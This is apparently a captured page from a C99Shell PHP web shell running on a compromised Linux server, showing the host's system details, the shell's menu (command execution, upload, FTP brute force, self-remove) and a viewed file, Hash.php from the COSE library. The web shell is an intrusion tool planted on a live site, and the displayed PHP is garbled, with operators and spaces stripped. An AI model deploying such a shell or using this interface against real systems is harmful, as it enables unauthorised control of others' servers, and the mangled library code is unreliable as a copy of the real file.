!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/web-auth/cose-lib/src/   drwxr-xr-x
Free 28.23 GB of 117.98 GB (23.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Hash.php (1.85 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2021 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

namespace Cose;

/**
 * @internal
 */
class Hash
{
    
/**
     * Hash Parameter.
     *
     * @var string
     */
    
private $hash;

    
/**
     * DER encoding T.
     *
     * @var string
     */
    
private $t;

    
/**
     * Hash Length.
     *
     * @var int
     */
    
private $length;

    private function 
__construct(string $hashint $lengthstring $t)
    {
        
$this->hash $hash;
        
$this->length $length;
        
$this->$t;
    }

    
/**
     * @return Hash
     */
    
public static function sha1(): self
    
{
        return new 
self('sha1'20"\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14");
    }

    
/**
     * @return Hash
     */
    
public static function sha256(): self
    
{
        return new 
self('sha256'32"\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20");
    }

    
/**
     * @return Hash
     */
    
public static function sha384(): self
    
{
        return new 
self('sha384'48"\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30");
    }

    
/**
     * @return Hash
     */
    
public static function sha512(): self
    
{
        return new 
self('sha512'64"\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40");
    }

    public function 
getLength(): int
    
{
        return 
$this->length;
    }

    
/**
     * Compute the HMAC.
     */
    
public function hash(string $text): string
    
{
        return 
hash($this->hash$texttrue);
    }

    public function 
name(): string
    
{
        return 
$this->hash;
    }

    public function 
t(): string
    
{
        return 
$this->t;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--